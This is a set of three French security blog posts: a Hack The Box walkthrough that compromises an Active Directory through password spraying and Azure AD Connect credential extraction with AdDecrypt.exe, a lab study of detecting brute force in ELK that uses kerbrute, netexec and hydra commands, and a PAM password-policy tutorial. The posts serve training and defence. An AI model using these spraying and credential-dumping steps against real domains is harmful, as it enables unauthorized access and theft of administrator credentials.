I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Monteverde, de difficulté "Medium". Cet exercice vous montrera un exemple très concret et plutôt réaliste de compromission d'un Active Directory et donc d'un domaine dans un réseau d'entreprise.

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordées	Windows, Active Directory, Azure/Entra ID, Azure AD Connect
Outils utilisés	nmap, rpcclient, smbmap, evil-winrm, AdDecrypt.exe

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Résolution de la box Monteverde

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap -sC -sV -T4 --max-retries 1 10.10.10.172 --open -Pn
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-03-25 10:31:23Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Les services exposés sont caractéristiques d'un Active Directory. En ce qui concerne l'énumération, la phase de reconnaissance et toutes celles qui suivent, on peut se baser sur différentes méthodologies. Néanmoins, je vous recommande celle construite et publiée par Orange Cyberdéfense au travers son AD Mindmap : Orange Cyberdefense AD Mindmap.

Retrouvez notre cours complet sur Nmap sur lien suivant :

• IT-Connect - Maîtrisez Nmap pour la cartographie réseau et le scan de vulnérabilités

Parmi les premiers éléments à analyser sur tout service et tout système : l'authentification anonyme !

Technique d'attaque (MITRE ATT&CK) : T1110.001 - Brute Force: Password Guessing

$ sudo rpcclient -U "%" 10.10.10.172

Le service RPC est vulnérable à l'authentification anonyme. Il faut savoir que sur un Active Directory, le service RPC peut être utilisé notamment pour récupérer la liste complète des utilisateurs, plutôt intéressant pour un attaquant qui n'avait jusque-là aucune information sur sa cible :

Technique d'attaque (MITRE ATT&CK) : T1087.002 - Account Discovery: Domain Account

B. Premier accès à l'Active Directory

À présent, nous avons plusieurs logins utilisateurs valides. Il faut maintenant trouver un mot de passe valide ou un compte pour lequel aucune authentification n'est demandée. Nous allons pour cela utiliser la technique du password spraying, qui consiste à tester un seul mot de passe par compte utilisateur. Ainsi, nous allons éviter de lever des alertes de sécurité ou bloquer les comptes ciblés si une politique de verrouillage est en place.

Contrairement à une attaque par password spraying classique, dans laquelle l'attaquant teste le même mot de passe pour tous les logins cibles, nous allons ici modifier un peu l'attaque. Pour chaque compte, nous allons tenter une authentification avec le login utilisateur comme mot de passe. Cette technique, nommée user as pass, est très souvent fructueuse sur les Active DIrectory d'entreprise, souvent volumineux et avec un certain historique.

Pour réaliser cette attaque, nous allons utiliser le module "scanner/smb/smb_login" du framework d'exploitation "metasploit" :

Technique d'attaque (MITRE ATT&CK) : T1110.003 - Brute Force: Password Spraying

Nous venons de trouver un login vulnérable au user as pass ! Comme indiqué plus haut, cette vulnérabilité est très fréquente ! Par manque de temps ou négligence, un administrateur fini toujours par créer un compte de test ou de service avec un tel mot de passe, qu'il oublie de supprimer ou modifier. Facteur aggravant, si le compte n'est utilisé qu'une ou deux fois (classique pour un compte de test), les politiques de mots de passe paramétrées après la création ne s'appliquent pas au compte. Ainsi, le mot de passe faible persiste alors longtemps au sein de l'Active Directory.

À présent, nous allons utiliser ce compte pour voir à quel répertoire partagé il a accès sur l'Active Directory. Nous utilisons pour cela l'outil "smbmap" :

Technique d'attaque (MITRE ATT&CK) : T1135 - Network Share Discovery

$ smbmap  -u SABatchJobs -p SABatchJobs -d MEGABANK.LOCAL0 -H 10.10.10.172
[+] IP: 10.10.10.172:445    Name: 10.10.10.172                                      
    ADMIN$         NO ACCESS   Remote Admin
    azure_uploads   EEAD ONLY   
    C$           NO ACCESS Default share
    E$           NO ACCESS Default share
    IPC$         READ ONLY Remote IPC
    NETLOGON     READ ONLY  Logon server share 
    SYSVOL       READ ONLY  Logon server share 
    users$       READ ONLY 

Au-delà des répertoires classiques pour un Active Directory que sont "SYSVOL" et "NETLOGON", dont il faut toujours parcourir le contenu avec attention, nous avons également des droits de lecture sur le répertoire "user$". À présent, nous allons partir à la rechercher de données sensibles dans ces répertoires, et ce de façon automatisée.

Nous allons utiliser "manspider", un outil qui permet la recherche de fichiers et informations à partir des éléments paramétrés (nom, extension, contenu). Nous rechercherons dans un premier temps la présence du mot "password" dans les fichiers accessibles en lecture des partages :

manspider 10.10.10.172 -d megabank.local -u SABatchJobs -p SABatchJobs --content "password"

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

Après quelques secondes de recherches, "manspider" nous ressort une information intéressante : un mot de passe dans le dossier de l'utilisateur "mhope":

Testons directement ces identifiants sur tous les services exposés du système cible :

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

*Evil-WinRM* PS C:\Users\mhope> type Desktop/user.txt
4961976b[REDACTED]212f2

L'utilisateur doit faire partir du groupe "Windows Remote Management", celui-ci peut s'authentifier sur le service winRM de la cible.

C. Attaque sur Azure AD Connect

Pour débuter notre phase de découverte avec ce nouvel identifiant, voyons s'il est membre de groupes intéressants :

Technique d'attaque (MITRE ATT&CK) : T1087.004 - Account Discovery: Cloud Account

whoami /all

Voici un extrait du retour de cette commande :

Nous pouvons fois que l'utilisateur "mhope" fait partie du groupe "CN=Azure Admins,OU=Groups,DC=MEGABANK,DC=LOCAL". À quoi ce groupe peut-il bien servir au sein d'un environnement Windows ? Si l'on s'intéresse aux applications installées sur le système, nous pouvons également remarquer la présence d'un service Azure AD Connect :

Il s'agit du service en charge de la synchronisation des données entre l'Active Directory On Premise (celui de votre système d'information) et votre tenant Azure AD/Entra ID. Celui-ci a donc pour mission de synchroniser les identités (et donc, les mots de passe) entre ces deux environnements, il manipule forcément des données intéressantes pour un attaquant.

Pour en savoir plus sur le rôle d'Azure AD Connect, je vous oriente vers cet article :

• IT-Connect - Installation et configuration d'Azure AD Connect

Pour exploiter le service Azure AD Connect, je me suis basé sur ce blogpost : Azure AD Connect Database Exploit (Priv Esc). Le lien entre la présence d'un Azure AD Connect sur un système et le bon blogpost ou exploit à utiliser, peut ici ne pas paraitre évident. Nous pouvons notamment voir que le blogpost date de janvier 2020. Si l'on regarde la date d'installation d'Azure AD Connect, notamment via les binaires du répertoire d'installation, nous voyons que ceux-ci datent de 2018 :

Ce blogpost explique donc comment récupérer les identifiants stockés et mal protégés dans la base de données (SQLExpress) d'Azure AD Connect. Il faut pour cela disposer d'un accès privilégié au serveur hébergeant l'application, ce qui est notre cas. On récupère donc le binaire en question :

Technique d'attaque (MITRE ATT&CK) : T1588.002 - Obtain Capabilities: Tool

$ wget https://github.com/VbScrub/AdSyncDecrypt/releases/download/v1.0/AdDecrypt.zip
$ unzip AdDecrypt.zip 
Archive:  AdDecrypt.zip
  inflating: AdDecrypt.exe           
  inflating: mcrypt.dll  

Technique d'attaque (MITRE ATT&CK) : T1608.002 - Stage Capabilities: Upload Tool

Puis, on le dépose sur le système via "evil-winRM" :

*Evil-WinRM* PS C:\Users\mhope\Documents> upload /tmp/AdDecrypt.exe
*Evil-WinRM* PS C:\Users\mhope\Documents> upload /tmp/mcrypt.dll

Technique d'attaque (MITRE ATT&CK) : T1068 - Exploitation for Privilege Escalation

Après avoir déposé le binaire sur le système via evil-winRM, il nous suffit de l'exécuter afin de récupérer les identifiants sensibles stockés dans la base de données d'AzureAD Connect :

*Evil-WinRM* PS C:\Users\mhope\Documents>  cd "C:\Program Files\Microsoft Azure AD Sync\bin"
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> c:\users\mhope\AdDecrypt.exe -FullSQL

Voici la sortie de cette commande, qui nous permet de retrouver les identifiants de l'administrateur du domaine :

Nous pouvons donc réutiliser ces identifiants pour s'authentifier sur n'importe quel service du domaine :

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discovery	Découverte des services exposés via scan réseau "nmap"
T1110.001 - Brute Force: Password Guessing	Accès au service RPC en accès anonyme via "rpcclient"
T1087.002 - Account Discovery: Domain Account	Récupération de la liste des utilisateurs de l'Active Directory via le service RPC avec "rpcclient"
T1110.003 - Brute Force: Password Spraying	Réalisation d'une attaque user as pass et compromission d'un compte utilisateur ("SABatchJobs") via l'outil "metasploit"
T1135 - Network Share Discovery	Découverte des partages réseau accessibles en tant qu'utilisateur authentifié sur le domaine ("SABatchJobs")
T1552.001 - Unsecured Credentials: Credentials In Files	Recherche et découverte du mot de passe de l'utilisateur "mhope" dans un fichier via "manspider"
T1021.006 - Remote Services: Windows Remote Management	Accès au service "winRM" du système via "evil-winrm"
T1087.004 - Account Discovery: Cloud Account	Découverte des groupes d'appartenance de l'utiliasteur "mhope"
T1588.002 - Obtain Capabilities: Tool	Récupération d'un binaire d'exploitation depuis Internet
	Dépôt de l'exploit "AdDcrypt.exe" sur le système via winRM
T1068 - Exploitation for Privilege Escalation	Exploitation du service Azure AD Connect pour récupérés les identifiants stockés en base de donnés

IV. Notions abordées

A. Côté attaquant

Le début de ce chemin d'attaque est assez classique et réaliste, la découverte de services acceptant l'accès anonyme suivi de la compromission de comptes à mot de passe faible au sein de l'Active Directory est une voie très courante. Également, la recherche automatisée de données sensibles dans les partages de fichiers est une opération à ne pas sous-estimer. Plus l'attaquant a accès à des répertoires et partages réseau, plus il est susceptible d'y trouver des informations sensibles (mots de passe, mais aussi configurations, clés ou documents métiers).

En tant qu'attaquant, nous tirons parti de la difficulté pour les équipes opérationnelles de vérifier le contenu des fichiers déposés par les utilisateurs, mais aussi la complexité de gérer les permissions d'accès aux différents partages réseau et répertoires. Bien souvent, un simple accès authentifiés au domaine avec un utilisateur ne faisant partie d'aucun groupe "métier" permet tout de même d'accéder à des centaines de répertoires et des milliers de fichiers.

Ici, l'important pour l'attaquant est de savoir s'outiller pour automatiser cette tâche fastidieuse mais souvent fructueuses, tout en sachant adapter ces outils à ce qu'il cherche. Ainsi, la majorité des outils permettent d'être configurés finement pour chercher parfois des extensions, parfois des noms de fichier ou encore un mot de précis dans ces fichiers.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : renforcer l'authentification sur le service RPC. Il est recommandé d'interdire tout accès anonyme aux services exposés sur le réseau. Ainsi, la configuration du service RPC doit être durcie pour n'autoriser l'accès qu'aux utilisateurs authentifiés.

Recommandatoin n°2 : il est recommandé de passer en revue les comptes utilisateurs du domaine afin de vérifier que tous ont un mot de passe qui respecte les bonnes pratiques de sécurité et la politique de mot de passe. Cette vérification peut être effectuée par une revue et un durcissement de la politique de mot de passe suivi d'un renouvellement forcé du mot de passe des utilisateurs. Cette méthode permettra notamment de découvrir les comptes non utilisés (mot de passe non renouvelé) ainsi que les comptes de services qui nécessiteront un renouvellement manuel ou une désactivation.

Recommandation n°3 : il est recommandé de sensibiliser les utilisateurs aux bonnes pratiques de gestion des mots de passe. Cela afin d'éviter que des mots de passe ne se retrouvent stockés en clair dans des fichiers. Également, il est recommandé d'effectuer des analyses régulières d'informations sensibles dans les fichiers à l'aide d'outils comme Snaffler ou ManSpider. Cette recommandation fait notamment echo à la directive n°2 du Guide d'hygiène de l'ANSSI : Sensibiliser les utilisateurs aux bonnes pratiques élémentaires de sécurité informatique.

Recommandation n°4 : il est recommandé de positionner le service Azure AD Connect sur un système dédié à cette application et non sur l'Active Directory. Notamment afin que les attaques ou dysfonctionnement de l'un n'affecte pas l'autre.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Compromission Active Directory – Le cas de la Box Monteverde de Hack The Box first appeared on IT-Connect.

I. Présentation

Dans cet article, nous allons nous intéresser aux attaques par brute force qui peuvent être menées sur les comptes utilisateurs d'un Active Directory.

Nous allons plus précisément étudier les évènements qui sont générés par défaut dans un Active Directory lors d'une attaque par brute force, mais aussi comment et pourquoi il est nécessaire d'améliorer la stratégie d'audit par défaut de l'Active Directory pour une meilleure détection.

Enfin, je vous partagerai quelques éléments et requêtes permettant détecter et visualiser une attaque par brute force dans un SIEM tel qu'ELK (ElasticSearch, Logstash, Kibana).

Si vous souhaitez en savoir plus sur ce qu'est une attaque par brute force avant de commencer la lecture de cet article, je vous oriente vers notre article à ce sujet :

• Qu'est-ce qu'une attaque par brute force ?

II. Les évènements générés lors d'une brute force

A. Les journaux par défaut de l’Active Directory

Commençons par nous intéresser aux évènements générés par l'Active Directory lors de l'exécution de telles attaques dans une configuration par défaut.

Au sein d’un lab composé d’un Active Directory en configuration par défaut, d’une machine d’attaque sous Kali Linux et d’un SIEM ELK chargé de collecter les journaux d’évènements, j’ai commencé par opéré une attaque par brute force classique sur le service Kerberos de mon Active Directory, puis 5 minutes plus tard via SMB, et enfin 5 minutes plus tard via LDAP.

Dans ma configuration actuelle, je remonte sur mon ELK tous les évènements du journal “security” ("Sécurité"), c’est ici que l’on s’attend à pouvoir découvrir un évènement de sécurité relatif à notre domaine.

Chaque opération a ciblé 2500 comptes utilisateurs (dont certains valides) et 2 mots de passe (dont certains valides aussi) :

# 21:15 - password spraying Kerberos
kerbrute passwordspray -d it-connect.tech --dc 192.168.56.102 list_domainUsers.txt 'Abcd1234!!'
kerbrute passwordspray -d it-connect.tech --dc 192.168.56.102 list_domainUsers.txt 'Abcd1234!'

# 21:20 - Brute force service SMB
netexec smb 192.168.56.102 -u list_domainUsers.txt -p /tmp/2passwords.txt -d it-connect.tech

# 21:25 - Brute force service SMB
hydra -L list_domainUsers.txt -P /tmp/2passwords.txt 192.168.56.102 ldap2

Voici les journaux récupérés immédiatement après l’attaque via le service Kerberos :

Il semble que ne soient journalisées uniquement les tentatives d’authentification réussies (plus précisément les demandes de TGT). Voici les journaux récupérés immédiatement après l’attaque via le service SMB :

Aucun nouvel évènement n’est présent alors que l’attaquant vient d’opérer plus de 5 000 tentatives d’authentification directement sur l’Active Directory. Le résultat sera le même côté LDAP.

Dans le cas où l’on regarderait uniquement nos journaux via le SIEM ELK, nous pourrions nous attendre en toute logique à voir 3 * (2500*2) = 15 000 évènements (au moins) sur le quart d’heure de réalisation des tests, cependant :

Il n’en est rien. Dans mon ELK, à peine une soixantaine d’évènements de sécurité sont journalisés.

On peut donc affirmer que les journaux de sécurité par défaut d’un Active Directory Windows ne permettent pas d’identifier une attaque par brute force. Les demandes réussies de TGT sur le service Kerberos sont bien journalisées, mais en dehors de cela concernant les évènements du journal “security”, nous sommes parfaitement à l’aveugle. Il va falloir une fois de plus suivre les bonnes pratiques des guides de sécurité !

Pour être tout à fait précis, lors de la réalisation de l’attaque par brute force sur le service SMB, des logs sont bien produits et permettent effectivement d’identifier une potentielle attaque, néanmoins ces logs sont bien cachés et pas vraiment surveillés la plupart du temps. Il s’agit des logs du service SMB du serveur qui héberge le service (qui peut donc être différent de l’Active Directory, même si les tentatives d’authentification concernent des utilisateurs du domaine) :

On peut ici voir plusieurs évènements relatifs à des tentatives d’authentification. Ils sont assez peu précis puisque le login de l’utilisateur concerné n’est pas journalisé. Ces évènements sont journalisés localement par le service SMB, et non directement par le service Active Directory.

Dans les faits, les journaux des services SMB des serveurs du domaine sont loin d’être les premiers auxquels on va s’intéresser. Dans la configuration par défaut des principaux agents de collecte de logs, ces journaux ne sont pas collectés pour centralisation.

Cela signifie que, dans le cas d’une attaque ciblant le service SMB d’un serveur intégré au domaine (hors contrôleur de domaine), le service SMB de ce serveur journalisera localement les évènements de tentative d’authentification, mais l’Active Directory, qui est l’autorité à qui est déléguée l’authentification, ne journalisera lui rien du tout à cause de sa configuration par défaut. Autrement dit, les journaux produits par le service SMB restent sur le serveur qui héberge le service SMB. Les potentiels journaux que l’on pourrait s’attendre à voir concernant l’Active Directory et son rôle d’autorité d’authentification (ici dans le cadre du NTLM), ne sont toujours pas produits.

L'authentification NTLM est un protocole d'authentification challenge/response utilisé pour authentifier un utilisateur sans envoyer son mot de passe sur le réseau. Lorsque vous vous authentifiez auprès d’un ordinateur intégré au domaine (qui n'est pas un contrôleur de domaine), ce serveur délègue la vérification de l’identité au contrôleur de domaine. Dans le cas de NTLM, il transmet les informations de challenge/réponse au contrôleur de domaine pour validation.

Dans un tel cas et si l’attaquant a connaissance de cette configuration, il peut donc cibler un service SMB d’un serveur autre que l’Active Directory mais quand même intégré au domaine. Son attaque produira des journaux locaux concernant le service SMB (non surveillés), mais les demandes de validation de l’identité de l’utilisateur que le serveur visé transmettra à l’AD ne seront eux pas journalisés.

B. Durcissement de la stratégie d’audit

Heureusement pour nous, il existe un moyen de faire en sorte que l’Active Directory génère les évènements relatifs aux tentatives d’authentification (réussies ou non). Il faut pour cela paramétrer la stratégie d’audit selon les bonnes pratiques de sécurité, c'est-à-dire tel que recommandé par les guides de l’ANSSI ou du CIS :

Ces recommandations visent à rendre les logs plus complets en activant la journalisation d'évènements de sécurité d'importance. Concernant l’audit de l’authentification, nous allons nous rendre dans l’éditeur de gestion des stratégies de groupe et plus précisément dans la GPO qui s’applique aux contrôleurs de domaine. Pour l’exemple, j’opère directement sur la GPO “Default Domain Controllers Policy”.

Il faut ensuite aller dans “Configuration ordinateur > Paramètres Windows > Configuration avancée de la stratégie d’audit > Stratégie d’audit > Connexion de compte” :

Il faut ici sélectionner la stratégie “Auditeur le service d’authentification Kerberos” et activer “Succès” et “Echecs” :

Comme nous l’avons vu, cela permet d’aller plus loin que la configuration par défaut qui ne journalise que les succès. Il faut également sélectionner la stratégie “Auditer la validation des informations d’identification” et également cocher “Succès” et “Échec” :

Cette seconde configuration nous permettra de journaliser les succès et échecs d’authentification passant par NTLM, pour lequel l’Active Directory est l’autorité de référence au sein d’un domaine.

Ainsi, même si l’on tente de s’authentifier sur le service SMB d’un serveur intégré au domaine (autre que l’Active Directory), celui-ci passera par l’Active Directory afin de valider l’identité de l’utilisateur. Celui-ci pourra alors journaliser cette demande de validation d’identité. Suite à ces modifications, il faut attendre que la GPO se déploie sur nos contrôleurs de domaine ou forcer la mise à jour via “gpupdate /force” :

Dès lors, voici à quoi ressemblent les journaux d’évènements de sécurité de l’Active Directory lors d’une attaque par brute force sur le service SMB (ciblant lui-même ou une machine intégrée au domaine) :

Voilà qui est plus intéressant ! Si l’on regarde plus en détail le contenu de l’évènement dans l’Observateur d’évènement, nous pouvons comprendre qu’il s’agit bien d’évènements en relation avec une tentative échouée d’authentification :

Bon, les détails techniques peuvent certes manquer (adresse IP source). Mais le nombre d’évènements et surtout leur présence dans le journal “Security” nous permettent déjà d’envisager la détection d’une telle attaque.

L’évènement ID 4776 (The domain controller attempted to validate the credentials for an account) apparaît lorsqu’un ordinateur du domaine tente de valider les identifiants qu’un utilisateur lui a envoyés. On peut notamment s’intéresser au code d’erreur pour comprendre le résultat précis de cette demande de validation :

Dans l’exemple ci-dessous, le code d’erreur nous apprend qu’il s’agit d’un compte existant, mais pour lequel le mot de passe saisi est incorrect :

Voici à présent les évènements que l’on peut visualiser lors d’une attaque par brute force sur le service Kerberos lorsque la stratégie d’audit est correctement configurée :

Ici aussi, nous comprenons rapidement qu’il s’agit d’un échec d’authentification si l’on regarde le contenu de l'évènement, le message et le type d’entrée :

L’évènement 4771 (Kerberos pre-authentication failed) est journalisé lorsqu’un utilisateur qui tente de s’authentifier sur le service Kerberos échoue à le faire (compte expiré, mauvais mots de passe, mauvaise version du protocole, etc.). On remarquera à nouveau le code d’échec (“0x18”) qui indique encore une fois un mauvais mot de passe saisi :

Concernant une attaque via le protocole LDAP, l’authentification repose également sur NTLM dans un environnement Active Directory classique, les évènements journalisés sont donc les mêmes qu’une attaque sur le protocole SMB (4776). À noter qu’il en est de même pour d’autres services dont l’authentification repose sur l’Active Directory si Kerberos n’est pas celui utilisé (MSSQL, RDP, etc.).

C. Surveiller le verrouillage des comptes utilisateur

À défaut d’avoir une stratégie d’audit correctement configurée au moment de la réalisation de l’attaque, notamment si vous êtes dans un contexte d’analyse “post mortem” (c’est-à-dire après constatation de l’incident), nous pouvons tenter de nous baser sur l’évènement relatif au verrouillage d’un compte utilisateur.

Dans un environnement Active Directory, la valeur par défaut du seuil de verrouillage d'un compte est 0 tentative échouée. Cette configuration signifie que le verrouillage de compte est désactivé. Il est fortement recommandé de mettre en place une valeur différente de 0, mais tout de même raisonnablement élevée afin d’éviter que l’utilisateur ne se bloque lui-même.

À titre d’exemple, les recommandations de Microsoft intégrées au Microsoft Security Compliance Toolkit proposent un seuil de 10 tentatives.

Pour en savoir plus sur la stratégie de verrouillage des comptes, je vous oriente vers notre article à ce sujet :

• IT-Connect - Active Directory et le verrouillage des comptes

Dans le cas où un seuil de verrouillage des comptes est effectivement en place, il est possible qu’une attaque par brute force entraîne le verrouillage temporaire des comptes ciblés. Cela va alors générer des évènements tels que ceux-ci (dans la configuration par défaut des stratégies d’audit) :

En surveillant activement ce type d’évènement et surtout leur nombre d’apparitions dans le temps, il devient possible de détecter une attaque par brute force.

Attention, dans les faits, si l’attaquant possède déjà un accès au domaine, il peut très facilement récupérer la politique de mot de passe en place (incluant le seuil de verrouillage) et calibrer son attaque pour rester en dessous du seuil de verrouillage. Cela ralentira grandement son attaque (c’est le but !), mais évitera l’apparition de tels évènements dans les journaux de sécurité.

III. Détection d'une attaque par brute force avec ELK

Bien ! Maintenant que nous en savons plus sur ce qu'est une attaque par brute force et notamment quels sont les évènements qui peuvent être générés lors d'une telle attaque (si la stratégie d’audit est bien configurée), nous allons nous intéresser aux possibilités de détection active via le SIEM ELK. J’ai réitéré mon trio d’attaque (Kerberos, LDAP, SMB) sur une période de 15 minutes :

Voilà qui est beaucoup plus parlant ! J’obtiens bien mes 15 000 évènements et peux même identifier clairement sur le graphique l’heure d’exécution de mes différentes attaques. Pour être plus précis, nous pouvons utiliser une requête KQL ciblant uniquement les évènements vus précédemment, ceux relatifs aux échecs d’authentification :

# Requête KQL qui filtre les event.code 4771 et 4776
event.provider: Microsoft-Windows-Security-Auditing and (event.code:4776 or event.code: 4771)

Sur un environnement classique avec des milliers d’utilisateurs qui se trompent parfois de mot de passe, voici le résultat que peut donner un tel filtre si une attaque par brute force à eu lieu :

Nous voyons clairement qu’au milieu des échecs d’authentification habituels assez peu nombreux, un pic de tentatives infructueuses d’authentification est présent. Enfin, nous pouvons en complément utiliser une requête KQL qui nous permet de visualiser les verrouillages des comptes :

# Requête KQL qui filtre les event.code 4771 et 4776
event.provider: Microsoft-Windows-Security-Auditing and event.code:4740

Voici alors l’effet qu’aura une attaque par brute force dans le résultat de cette requête KQL :

A 15h22, plus de 200 comptes utilisateur ont été verrouillés, ce qui apparait comme anormal au regard de l'occurrence habituelle de cet évènement. Attention toutefois, nous avons vu les limites de cette technique de détection :

• L’attaquant peut prendre connaissance du seuil de verrouillage en place et configurer son attaque pour ne pas l’atteindre.
• Le seuil de verrouillage par défaut est à 0, donc aucun événement de ce type n’apparaîtra sans un durcissement préalable de ce paramètre.

IV. Conclusion

Dans cet article, nous avons vu que les possibilités de détection d’une attaque par brute force avec la configuration par défaut de la stratégie d’audit du domaine sont limitées. Grâce aux durcissements de configuration proposés par de nombreux guides de bonnes pratiques, il est possible de journaliser chaque tentative d’authentification (en succès ou en échec) et donc de se donner la possibilité de détecter ce type d’attaque. Au travers quelques requêtes basiques dans un SIEM (ELK dans cet article), nous sommes parvenus à identifier une attaque par brute force.

Bien sûr, l’attaquant peut toujours étaler son attaque dans le temps afin de passer sous les radars (éviter un pic d’évènement dans un SIEM ou le déclenchement du seuil de verrouillage). Dès lors, son attaque sera beaucoup moins efficace, d’autant plus si des mots de passe robustes sont en place (imaginez tester 5000 mots de passe avec un ratio de 5 tentatives par compte toutes les 30 minutes).

Différents guides de l’ANSSI ont été cités dans cet article. Je vous recommande leur lecture pour aller plus loin concernant la sécurité d’un environnement Active Directory :

• ANSSI – Recommandations pour l’administration sécurisée des SI reposant sur l’Active Directory
• ANSSI – Recommandations de sécurité pour la journalisation des systèmes Microsoft Windows
• ANSSI – Points de contrôle Active Directory
• ANSSI – Recommandations relatives à l'authentification multifacteur et aux mots de passe

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Sécurité Active Directory – Comment détecter les attaques par brute force dans un domaine ? first appeared on IT-Connect.

I. Présentation

Dans ce tutoriel, nous allons voir comment mettre en place une politique de mot de passe d'un système d'exploitation Linux en utilisant PAM (Pluggable Authentication Module) et le module "pwquality". Nous verrons comment gérer les différents paramètres de cette politique.

Une politique de mot robuste est l'une des premières protections que doit comporter tout système ou application. Le terme "politique de mot de passe" comprend toutes les règles qui visent à gérer la structure des mots de passe (composition, longueur), mais aussi leur cycle de vie (renouvellement, changement, historique, durée de validité) et leur utilisation (nombre de tentatives d'authentification).

Il est important d’avoir une bonne gestion et une bonne configuration de la politique des mots de passe sur son système. Pour rappel, un mot de passe fort doit suivre les recommandations suivantes :

• Comprendre au moins 12 à 14 caractères.
• Ne pas contenir ni votre nom d’utilisateur, ni votre vrai nom, ni le nom de la société ou autre donnée en relation avec vous.
• Contenir des caractères provenant de chacune des quatre catégories suivantes : minuscule, majuscule, chiffre, caractères spéciaux.

Pour aller plus loin dans la compréhension de ce qu'est un mot de passe robuste, je vous oriente vers la documentation de l'ANSSI sur ce sujet :

• ANSSI - Recommandations relatives à l'authentification multifacteur et aux mots de passe.

Pour rappel, PAM est un système modulaire qui gère l’authentification des utilisateurs sous Linux. Nous allons utiliser le module "pwquality" qui permet de gérer tous les paramètres relatifs à la structure du mot de passe.

Version originale de l'article : 10 septembre 2013.

II. Gestion de la politique des mots de passe avec PAM

A. Installation de libpam-pwquality

Pour commencer, nous devons installer le module nécessaire pour finement gérer la qualité des mots de passe avec PAM : le module "libpam-pwquality.

# Installer libpam-pwquality sous Debian
sudo apt-get update
sudo apt-get install libpam-pwquality

# Installer libpam-pwquality sous Red Hat
sudo yum install pam_pwquality

Pour information, "libpam-pwquality" et "pam_pwquality" ont remplacé "libpam-cracklib" et "pam_cracklib" dans les distributions modernes. Cette installation devrait faire apparaitre le fichier "pam_pwquality.so" dans le dossier "/usr/lib/x86_64-linux-gnu/security/" :

root@debian:~# find / -name "pam_*.so" 2>/dev/null
[...]
/usr/lib/x86_64-linux-gnu/security/pam_pwquality.so
[...]

B. Configuration de libpam-pwquality

Nous nous rendons ensuite dans le répertoire "/etc/pam.d/" où se trouvent les fichiers de configuration de PAM. Le fichier "common-password" (ou "password-auth" et "system-auth" sur Red Hat) gère les règles de construction des mots de passe lors de la création ou de la modification des utilisateurs.

Sous Debian et dérivés, nous allons éditer le fichier "/etc/pam.d/common-password" ("/etc/pam.d/password-auth" et "/etc/pam.d/system-auth" sous Red Hat et dérivés) pour y modifier la ligne contenant "pam_pwquality.so", celle-ci a été ajoutée automatiquement à l'installation de "pam_pwquality.so" :

# Avant modification
password requisite pam_pwquality.so retry=3

# Après modification
password requisite pam_pwquality.so retry=3 minlen=12 difok=3

La modification de la politique prendra effet dès l'enregistrement du fichier modifié. Voici le détail des paramètres que nous venons d'ajouter dans notre politique de mot de passe :

• retry=3 : autorise trois essais pour la saisie du mot de passe ;
• minlen=12 : détermine la longueur minimale d’un mot de passe ;
• difok=3 : indique le nombre de caractères qui doivent être différents entre un ancien et un nouveau mot de passe.

Nous pouvons à présent tester la politique de mot de passe. Rien de plus simple : créez un nouvel utilisateur et essayez de définir un mot de passe faible.

sudo adduser testuser
# Lors de la saisie du mot de passe, essayez avec un mot de passe faible comme "2".
Nouveau mot de passe : 2
MOT DE PASSE INCORRECT : Le mot de passe comporte moins de 12 caractères

PAM analysera le mot de passe saisi et indiquera les problèmes comme la longueur insuffisante ou l'utilisation de motifs simples, en fonction des directives paramétrées.

C. Exemple de politique de mot de passe renforcée

Pour renforcer la politique des mots de passe, vous pouvez ajouter des paramètres supplémentaires. Par exemple :

password requisite pam_pwquality.so retry=3 minlen=12 difok=4 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1

Les paramètres que nous venons d'ajouter sont les suivants :

• ucredit=-1 : exige au moins une lettre majuscule.
• lcredit=-1 : exige au moins une lettre minuscule.
• dcredit=-1 : exige au moins un chiffre.
• ocredit=-1 : exige au moins un caractère spécial.

